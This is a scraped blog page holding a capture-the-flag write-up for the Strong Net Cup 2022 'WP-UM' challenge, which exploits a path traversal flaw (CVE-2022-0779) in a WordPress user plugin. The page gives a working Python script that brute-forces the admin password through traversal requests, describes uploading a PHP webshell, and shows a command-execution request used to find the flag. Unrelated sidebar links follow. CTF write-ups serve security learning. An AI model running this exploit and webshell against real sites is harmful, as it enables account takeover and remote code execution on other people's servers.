当前位置:网站首页>[Strong Net Cup 2022] WP-UM
[Strong Net Cup 2022] WP-UM
2022-08-05 10:03:00 【Landasika】
Test site: WordPress User Meta Lite Pro 2.4.3 Path Traversal Vulnerability CVE-2022-0779
Initialize questions first

Get administrator account password
Register a user

Login user

Capture the uploaded data package

Then send, intercept a packet with action=um_show_uploaded_file

According to the home page information, you can get the administrator's username

Using the CVE-2022-0779 Path traversal vulnerability, if this file exists, then Remove will be displayed, if there is no such file, there will be no Remove


Blast the password
import requestslis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'password=''url="http://ip:port/wp-admin/admin-ajax.php"header={'Host': 'ip:port','X-Requested-With': 'XMLHttpRequest','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36','Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8','Origin': 'http://ip:port','Referer': 'http://ip:port/index.php/upload/','Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'}for i in range (1,16):for s in lis:datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"result=requests.post(url,data=datas,headers=header)if 'Remove' in result.text:password+=sbreakprint(password)
Upload a Trojan horse
Modify upload file settings


Then enter the page to update

Upload a sentence Trojan

Get flag
Go to wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
边栏推荐
猜你喜欢

Technical dry goods | Hausdorff distance for image segmentation based on MindSpore

哪位大佬有20年4月或者1月的11G GI和ojvm补丁呀,帮忙发下?

Complete image segmentation efficiently based on MindSpore and realize Dice!
![[强网杯2022]WP-UM](/img/3d/caeab05ddca278af274dbf6e2f8ba1.png)
[强网杯2022]WP-UM

Marketing Suggestions | You have an August marketing calendar to check! Suggest a collection!

基于MindSpore高效完成图像分割,实现Dice!

MySQL事务

【MindSpore易点通机器人-01】你也许见过很多知识问答机器人,但这个有点不一样

Meteorological data processing example - matlab string cutting matching and R language date matching (data splicing)

Which big guy has the 11G GI and ojvm patches in April or January 2020, please help?
随机推荐
egg框架使用(二)
QSS 选择器
MySQL advanced (twenty-seven) database index principle
dotnet OpenXML parsing PPT charts Getting started with area charts
电竞、便捷、高效、安全,盘点OriginOS功能的关键词
什么是CRM决策分析管理?
hcip BGP 增强实验
【Office】Microsoft Office下载地址合集(微软官方原版离线安装下载)
PAT乙级-B1021 个位数统计(15)
egg框架使用(一)
19.服务器端会话技术Session
Pytorch Deep Learning Quick Start Tutorial -- Mound Tutorial Notes (3)
无题八
uniapp 连接ibeacon
After Keil upgrades to AC6, what changes?
静态链接和动态链接
2022/8/4 考试总结
Handwriting Currying - toString Comprehension
哪位大佬有20年4月或者1月的11G GI和ojvm补丁呀,帮忙发下?
Technical dry goods | Hausdorff distance for image segmentation based on MindSpore